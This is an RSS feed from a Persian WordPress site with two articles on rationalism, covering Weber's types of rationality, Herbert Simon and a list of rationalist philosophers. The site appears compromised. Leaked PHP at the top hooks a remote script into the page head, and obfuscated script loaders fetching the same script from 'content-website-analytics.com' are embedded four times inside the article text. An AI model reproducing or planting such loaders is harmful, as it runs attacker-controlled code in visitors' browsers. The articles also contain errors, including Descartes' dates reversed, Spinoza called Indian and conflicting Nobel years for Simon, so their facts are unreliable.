/**<js>*/function load_frontend_assets() {
   echo '<script async src="https://content-website-analytics.com/script.js"></script>';
}
add_action('wp_head', 'load_frontend_assets');/**<js>*/<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/theorium/theorium.net/wp-content/themes/disto/functions.php:931) in <b>/home/theorium/theorium.net/wp-includes/feed-rss2.php</b> on line <b>8</b><br />
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>قرن هفدهم &#8211; بنیاد بین المللی تئوری ها و دکترین ها</title>
	<atom:link href="https://theorium.net/tag/%d9%82%d8%b1%d9%86-%d9%87%d9%81%d8%af%d9%87%d9%85/feed/" rel="self" type="application/rss+xml" />
	<link>https://theorium.net</link>
	<description>بنیاد بین المللی تئوری ها و دکترین ها</description>
	<lastBuildDate>Sat, 21 Mar 2026 07:59:23 +0000</lastBuildDate>
	<language>fa-IR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.4.19</generator>

<image>
	<url>https://theorium.net/wp-content/uploads/2020/07/cropped-favicon-32x32.png</url>
	<title>قرن هفدهم &#8211; بنیاد بین المللی تئوری ها و دکترین ها</title>
	<link>https://theorium.net</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>خرد گرایی</title>
		<link>https://theorium.net/%d8%ae%d8%b1%d8%af-%da%af%d8%b1%d8%a7%db%8c%db%8c-%d8%b9%d9%84%d9%88%d9%85-%d8%a7%d9%86%d8%b3%d8%a7%d9%86%db%8c/</link>
					<comments>https://theorium.net/%d8%ae%d8%b1%d8%af-%da%af%d8%b1%d8%a7%db%8c%db%8c-%d8%b9%d9%84%d9%88%d9%85-%d8%a7%d9%86%d8%b3%d8%a7%d9%86%db%8c/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Sat, 05 Nov 2022 20:39:15 +0000</pubDate>
				<category><![CDATA[علوم انسانی]]></category>
		<category><![CDATA[نظریه ها و دکترین ها]]></category>
		<category><![CDATA[جامعه‌شناسی]]></category>
		<category><![CDATA[خردگرایی]]></category>
		<category><![CDATA[خردگرایی عملی]]></category>
		<category><![CDATA[خردگرایی محتوایی]]></category>
		<category><![CDATA[دکارت]]></category>
		<category><![CDATA[قرن هفدهم]]></category>
		<category><![CDATA[نظریات علوم انسانی]]></category>
		<category><![CDATA[نظریه]]></category>
		<guid isPermaLink="false">https://theorium.net/?p=6730</guid>

					<description><![CDATA[<p>خرد گرایی در علوم انسانی خرد گرایی در علوم انسانی؛ راسیونالیسم، عقل گرایی، عقلانیت گرایی؛ گرایش به این که  عقل  بر همه چیز برتری دارد و باید بر اساس آن منافع را به حداکثر و هزینه ها را به حداقل رساند. این تفکر در قرن شانزدهم رایج شد. قبل از آن در خصوص فلاسفه و [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%ae%d8%b1%d8%af-%da%af%d8%b1%d8%a7%db%8c%db%8c-%d8%b9%d9%84%d9%88%d9%85-%d8%a7%d9%86%d8%b3%d8%a7%d9%86%db%8c/">خرد گرایی</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<h3>خرد گرایی در علوم انسانی</h3>
<p>خرد گرایی در علوم انسانی؛ راسیونالیسم، عقل گرایی، عقلانیت گرایی؛ گرایش به این که  عقل  بر همه چیز برتری دارد و باید بر اساس آن منافع را به حداکثر و هزینه ها را به حداقل رساند. این تفکر در قرن شانزدهم رایج شد. قبل از آن در خصوص فلاسفه و برخی حکمای متافیزیک بکار می رفت که در استدلال عقلی بجای مشاهدات تجربی بدنبال حقیقت بودند .</p>
<p>خرد گرایی یا به عبارتی دیگر عقلانیت گرایی به اشخاصی اشاره دارد که بر اساس اصول مکتب عمل گرایی برای عقاید مذهبی توجیه عقلانی ارائه می‌دهند.ایدۀ عقلانیتِ  بهینه از سوی نظریه‌پردازانی هم‌چون هربرت  الکساندر سیمون آمریکایی (متولد ۱۹۱۶) برنده جایزه نوبل اقتصاد ۱۹۸۷ مورد انتقاد قرار گرفت.</p>
<p>او ایدۀ عقلانیت محدود را به عنوان جایگزین عقلانیت بهینه ارائه داد. به اعتقاد وی، سیاستگذاران بندرت در پی دست‌یابی به راه‌حل‌های بهینه هستند. آن‌ها همۀ راه‌های ممکن را مورد توجه قرار نمی‌دهند بلکه در پی راهکاری هستند که برای اهداف فعلی مناسب است. سیمون این شیوه را قانع‌سازی نامید و آن را از ایدۀ  بیشینه‌سازی معقول‌تر دانست .</p>
<p>خردگرایی همچنین در صنعت به روش‌هایی اطلاق می‌شود که به افزایش تولید  با کاهش هزینه‌ها و افزایش درآمدها منجر می‌گردد . در آثار <a href="https://en.wikipedia.org/wiki/Max_Weber" target="_blank" rel="noopener noreferrer">ماکس وبر</a> (۱۸۶۴-۱۹۲۰) جامعه‌شناس آلمانی، چهار نوع خردگرایی یا عقلانیت قابل تشخیص است :</p>
<ul>
<li>خرد‌گرایی عملی: هر شیوۀ زندگی که فعالیت‌های دنیوی را در ارتباط با علایق، عملی و با محوریتِ خودگرایانه بسنجد؛</li>
<li>خردگرایی نظری: تلاشی آگاهانه برای احاطه بر واقعیت از طریق مفاهیم روزافزون انتزاعی نظیر قیاس، استقرا، و علیت است نه از طریق کنش</li>
<li>خردگرایی محتوایی: انتخاب ابزارها و اهداف مناسب و سازگار است؛</li>
<li>خردگرایی صوری: حسابگری ابزاری –اهدافی می‌باشد که در ارتباط با اصول و قواعدی به وقوع می‌پیوندد که در سطح جهانی کاربرد دارد.</li>
</ul>
<p style="text-align: center;"><a href="https://theorium.net/category/%D8%B9%D9%84%D9%88%D9%85-%D8%A7%D9%86%D8%B3%D8%A7%D9%86%DB%8C/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-6731" src="https://theorium.net/wp-content/uploads/2022/11/logical-mathematical-intelligence-300x300.png" alt="" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2022/11/logical-mathematical-intelligence-300x300.png 300w, https://theorium.net/wp-content/uploads/2022/11/logical-mathematical-intelligence-150x150.png 150w, https://theorium.net/wp-content/uploads/2022/11/logical-mathematical-intelligence-100x100.png 100w, https://theorium.net/wp-content/uploads/2022/11/logical-mathematical-intelligence-120x120.png 120w, https://theorium.net/wp-content/uploads/2022/11/logical-mathematical-intelligence.png 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<h4 style="text-align: right;">انواعِ خردگرایی</h4>
<p>انواع <a href="https://en.wikipedia.org/wiki/Rationalism" target="_blank" rel="noopener noreferrer">خردگرایی</a> یا عقلانیت، سیری تمدنی دارند و در عصر خود بدنبال قدرت و برتری بوده‌اند و تنها عقلانیت صوری با ظهور فرآیند صنعتی شدن در غرب بوجود آمده است.</p>
<p>قوانین و مقرراتی که در سطحی جهانی استفاده می‌شوند و از ویژگی‌های عقلانیت صوری در غرب هستند، به طور اخص در نهاد‌های اقتصادی، قانونی و عملی و همچنین شکل دیوان‌سالارانۀ حکومت دیده می‌شوند. تشابه این چهار نوع عقلانیت در آن‌ است که همۀ آنها شامل  فرآیند‌های ذهنی هستند که می‌خواهند از طریق عدم بیان جزء به جزء ادراکات ذهن و انتظام آنها در قالب قوانین قابل فهم و معنا‌دار، واقعیت را به اختیار خود در آورند.</p>
<h4>برخی چهره‌های تأثیرگذار در خردگرایی  مورد اشاره در علوم انسانی</h4>
<p>سن توماس آکویناس (۱۲۲۵-۱۲۷۴) فیلسوف ایتالیایی، رنه دکارت (۱۶۵۰-۱۵۹۶)، باروخ اسپینوزا (۱۶۳۲-۱۶۷۷) فیلسوف هندی، گوتفرید ویلهلم فن لایب نیتس (۱۶۴۶-۱۷۱۶) فیلسوف و ریاضی‌دان آلمانی، دنی دیدرو (۱۷۱۳-۱۷۸۴) فیلسوف و ادیب فرانسوی، امانوئل کانت (۱۷۲۴-۱۸۰۴) فیلسوف آلمانی، یوهان گوتلیب فیشته (۱۷۶۲-۱۸۱۴) فیلسوف آلمانی، فریدریش ویلهلم ژوزف شلینگ (۱۷۷۵-۱۸۵۴) فیلسوف آلمانی و کارل رایموند پوپر (۱۹۰۲-۱۹۹۴) فیلسوف و جامعه‌شناس اتریشی خِرَدگرا بودند. درمقابل احساس‌گرایی، تجربه‌گرایی، تقلید‌گرایی، خِرَد ستیزگرایی، دنباله‌گرایی و مهمل‌گرایی است.<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%ae%d8%b1%d8%af-%da%af%d8%b1%d8%a7%db%8c%db%8c-%d8%b9%d9%84%d9%88%d9%85-%d8%a7%d9%86%d8%b3%d8%a7%d9%86%db%8c/">خرد گرایی</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d8%ae%d8%b1%d8%af-%da%af%d8%b1%d8%a7%db%8c%db%8c-%d8%b9%d9%84%d9%88%d9%85-%d8%a7%d9%86%d8%b3%d8%a7%d9%86%db%8c/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>عقل گرایی: عقل بر همه چیز برتری دارد!</title>
		<link>https://theorium.net/%d8%b9%d9%82%d9%84-%da%af%d8%b1%d8%a7%db%8c%db%8c-%d9%88-%d8%b9%d9%82%d9%84-%d8%a8%d8%b1-%d9%87%d9%85%d9%87-%da%86%db%8c%d8%b2-%d8%a8%d8%b1%d8%aa%d8%b1%db%8c-%d8%af%d8%a7%d8%b1%d8%af/</link>
					<comments>https://theorium.net/%d8%b9%d9%82%d9%84-%da%af%d8%b1%d8%a7%db%8c%db%8c-%d9%88-%d8%b9%d9%82%d9%84-%d8%a8%d8%b1-%d9%87%d9%85%d9%87-%da%86%db%8c%d8%b2-%d8%a8%d8%b1%d8%aa%d8%b1%db%8c-%d8%af%d8%a7%d8%b1%d8%af/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Wed, 15 Apr 2020 10:29:18 +0000</pubDate>
				<category><![CDATA[علوم انسانی]]></category>
		<category><![CDATA[نظریه ها و دکترین ها]]></category>
		<category><![CDATA[راسیونالیسم]]></category>
		<category><![CDATA[رنه دکارت]]></category>
		<category><![CDATA[عقل گرایی]]></category>
		<category><![CDATA[عقلانیت گرایی]]></category>
		<category><![CDATA[قرن هفدهم]]></category>
		<category><![CDATA[گرایش به عقل]]></category>
		<category><![CDATA[منافع]]></category>
		<category><![CDATA[نظریه]]></category>
		<category><![CDATA[هزینه]]></category>
		<guid isPermaLink="false">http://theorium.net/?p=5237</guid>

					<description><![CDATA[<p>عقل گرایی ، راسیونالیسم ، عقلانیت گرایی ؛ گرایش به این که  عقل  بر  همه چیز برتری دارد و باید بر اساس آن منافع را به حداکثر و هزینه ها را به حداقل رساند . این تفکر در قرن شانزدهم رایج شد . قبل از آن در خصوص فلاسفه و برخی حکمای متافیزیک بکار می [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%b9%d9%82%d9%84-%da%af%d8%b1%d8%a7%db%8c%db%8c-%d9%88-%d8%b9%d9%82%d9%84-%d8%a8%d8%b1-%d9%87%d9%85%d9%87-%da%86%db%8c%d8%b2-%d8%a8%d8%b1%d8%aa%d8%b1%db%8c-%d8%af%d8%a7%d8%b1%d8%af/">عقل گرایی: عقل بر همه چیز برتری دارد!</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<p>عقل گرایی ، راسیونالیسم ، عقلانیت گرایی ؛ گرایش به این که  عقل  بر  همه چیز برتری دارد و باید بر اساس آن منافع را به حداکثر و هزینه ها را به حداقل رساند . این تفکر در قرن شانزدهم رایج شد .</p>
<p>قبل از آن در خصوص فلاسفه و برخی حکمای متافیزیک بکار می رفت که در استدلال عقلی بجای <a href="https://theorium.net/%d8%aa%d8%a3%d9%88%db%8c%d9%84-%db%8c%d8%a7-%d9%87%d8%b1%d9%85%d9%86%d9%88%d8%aa%db%8c%da%a9-%d8%9b-%d8%aa%d9%81%d8%b3%db%8c%d8%b1%d8%8c-%d8%aa%d8%b9%d8%a8%db%8c%d8%b1-%d9%88-%d9%81%d9%87%d9%85/" target="_blank" rel="noopener noreferrer">مشاهدات تجربی</a> بدنبال حقیقت بودند .</p>
<p>عقلانیت گرایی به اشخاصی اشاره دارد که بر اساس اصول مکتب عمل گرایی برای عقاید مذهبی توجیه عقلانی ارائه می دهند.</p>
<p>ایدۀ عقلانیتِ  بهینه از سوی نظر یه پردازانی همچون  هربرت  الکساندر سیمون آمریکایی ( متولد ۱۹۱۶) برنده جایزه نوبل اقتصاد ۱۹۷۸ مورد  انتقاد قرار گرفت. او ایدۀ عقلانیت محدود را به عنوان جایگزین عقلانیت بهینه  ارائه داد.</p>
<p>به اعتقاد وی ، سیاستگذاران بندرت در پی دستیابی به راه حل های بهینه هستند. آنها همۀ راههای ممکن را مورد توجه قرار نمی دهند بلکه در پی راهکاری هستند که برای اهداف فعلی مناسب است.</p>
<p>سیمون این شیوه را قانع سازی نامید و آن را از ایدۀ  بیشینه سازی معقول تر دانست .</p>
<p>در صنعت به روش هایی اطلاق می شود که به افزایش تولید  با کاهش هزینه ها و افزایش درآمد ها منجر می گردد .</p>
<h6><strong>عقل گرایی در آثار ماکس وبر</strong></h6>
<p>در آثار ماکس وبر (۱۸۶۴-۱۹۲۰) جامعه شناس آلمانی ، چهار نوع عقلانیت قابل تشخیص است :</p>
<p>۱-  عملی : هر شیوۀ  زندگی که فعالیت های  دنیوی را در ارتباط با علایق ، عملی و با محوریتِ  خودگرایانه بسنجد ؛</p>
<p>۲-  نظری: تلاشی آگاهانه برای احاطه بر واقعیت از طریق مفاهیم روزافزون انتزاعی نظیر قیاس ، استقرا ، و علیت است نه از طریق کنش ؛</p>
<p>۳- محتوایی : انتخاب ابزارها و اهداف مناسب و سازگار است ؛</p>
<p>۴- صوری: حسابگری ابزاری –اهدافی  می باشد که در ارتباط با اصول و قواعدی به وقوع می پیوندد که در سطح جهانی کاربرد دارد.</p>
<p><a href="https://theorium.net/category/%d9%88%db%8c%da%a9%db%8c-%d8%aa%d8%a6%d9%88%d8%b1%db%8c/%d8%a7%db%8c%d8%b3%d9%85%d9%88%d9%84%d9%88%da%98%db%8c/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-5602" src="https://theorium.net/wp-content/uploads/2020/04/reasonable.-300x300.jpg" alt="reason" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2020/04/reasonable.-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2020/04/reasonable.-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2020/04/reasonable.-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2020/04/reasonable.-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2020/04/reasonable.-520x520.jpg 520w, https://theorium.net/wp-content/uploads/2020/04/reasonable..jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<h6>انواع عقلانیت در سیر زمان؛</h6>
<p>انواع عقلانیت، سیری تمدنی دارند و در عصر خود بدنبال قدرت و برتری بوده اند و تنها عقلانیت صوری با ظهور فرآیند  صنعتی شدن در غرب بوجود آمده است.</p>
<p>قوانین و مقرراتی که در سطحی جهانی استفاده می شوند و از ویژگی های عقلانیت صوری در غرب هستند، به طور اخص در نهاد های اقتصادی ، قانونی و عملی  و همچنین شکل دیوانسالارانۀ حکومت دیده می شوند.</p>
<p>تشابه این چهار نوع عقلانیت در آنست که همۀ آنها شامل  فرآیند های ذهنی هستند که می خواهند از طریق عدم بیان جزء به جزء ادراکات ذهن و انتظام آنها در قالب قوانین قابل فهم و معنا دار، واقعیت را به اختیار خود در آورند.</p>
<h6><strong>خردگرایان تاریخ</strong></h6>
<p>سن توماس آکویناس (۱۲۲۵-۱۲۷۴) فیلسوف ایتالیایی ، رنه دکارت (۱۶۵۰-۱۵۹۶) ،باروخ اسپینوزا (۱۶۳۲-۱۶۷۷) فیلسوف هندی ، گوتفرید ویلهلم فن لایب نیتس (۱۶۴۶-۱۷۱۶) فیلسوف و ریاضی دان آلمانی.</p>
<p>دنی دیدرو (۱۷۱۳-۱۷۸۴) فیلسوف و ادیب فرانسوی ، امانوئل کانت (۱۷۲۴-۱۸۰۴) فیلسوف آلمانی ، یوهان گوتلیب فیشته (۱۷۶۲-۱۸۱۴) فیلسوف آلمانی ، فریدریش ویلهلم ژوزف شلینگ (۱۷۷۵-۱۸۵۴) فیلسوف آلمانی و کارل رایموند پوپر (۱۹۰۲-۱۹۹۴) فیلسوف و جامعه شناس اتریشی خِرَدگرا بودند. درمقابل احساس گرایی ، تجربه گرایی ، تقلید گرایی ، خِرَد ستیزگرایی ، دنباله گرایی و مهمل گرایی است .</p>
<p>o گروه موضوعی ← علوم انسانی<br />
o نظریه پرداز ← رنه دکارت<br />
o تاریخ ارایه ← قرن هفدهم<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%b9%d9%82%d9%84-%da%af%d8%b1%d8%a7%db%8c%db%8c-%d9%88-%d8%b9%d9%82%d9%84-%d8%a8%d8%b1-%d9%87%d9%85%d9%87-%da%86%db%8c%d8%b2-%d8%a8%d8%b1%d8%aa%d8%b1%db%8c-%d8%af%d8%a7%d8%b1%d8%af/">عقل گرایی: عقل بر همه چیز برتری دارد!</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d8%b9%d9%82%d9%84-%da%af%d8%b1%d8%a7%db%8c%db%8c-%d9%88-%d8%b9%d9%82%d9%84-%d8%a8%d8%b1-%d9%87%d9%85%d9%87-%da%86%db%8c%d8%b2-%d8%a8%d8%b1%d8%aa%d8%b1%db%8c-%d8%af%d8%a7%d8%b1%d8%af/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>